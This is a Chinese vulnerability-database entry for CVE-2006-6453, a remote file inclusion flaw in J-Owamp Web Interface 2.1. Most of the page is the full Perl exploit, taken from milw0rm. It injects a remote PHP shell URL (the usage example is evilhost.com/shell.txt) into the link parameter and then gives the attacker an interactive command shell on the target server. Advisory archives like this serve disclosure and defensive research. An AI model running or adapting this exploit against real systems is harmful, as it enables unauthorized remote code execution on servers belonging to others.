J-Owamp Web Interface 'Jowamp_ShowPage.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111725 漏洞类型 输入验证
发布时间 2006-12-07 更新时间 2006-12-11
CVE编号 CVE-2006-6453 CNNVD-ID CNNVD-200612-207
漏洞平台 PHP CVSS评分 6.5
|漏洞来源
https://www.exploit-db.com/exploits/2895
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-207
|漏洞详情
J-OWAMPWebInterface2.1的JOWAMP_ShowPage.php中的PHP远程文件包含漏洞,远程攻击者通过link参数中的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:http://www.av.it.pt/jowamp/index_files/JOWAMP_WebInterface_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page http://localhost/jowamp/login/register.php to register new users. 


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/JOWAMP_files/JOWAMP_ShowPage.php?link='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res->content;
$info =~ tr/[\n]/[ê]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;


#Sub-Rountines
sub header()
{
print q{
********************************************************************************
Jowamp WebInterface v2.1  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
********************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl <jowamp fullpath> <Shell Location> <Shell Cmd>

<phorum-3.4.8a FULL PATH> - Path to site exp. www.site.com

<Shell Location> - Path to shell exp. www.evilhost.com/shell.txt

<Shell Cmd Variable> - Command variable for php shell

Example: perl exploit.pl http://www.site.com/jowamp/
**********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-07]
|参考资料

来源:BID
名称:20836
链接:http://www.securityfocus.com/bid/20836
来源:MILW0RM
名称:2895
链接:http://www.milw0rm.com/exploits/2895
来源:VUPEN
名称:ADV-2006-4905
链接:http://www.frsirt.com/english/advisories/2006/4905
来源:SECUNIA
名称:23276
链接:http://secunia.com/advisories/23276
来源:XF
名称:jowamp-jowampshowpage-file-include(30775)
链接:http://xforce.iss.net/xforce/xfdb/30775
来源:MILW0RM
名称:2895
链接:http://milw0rm.com/exploits/2895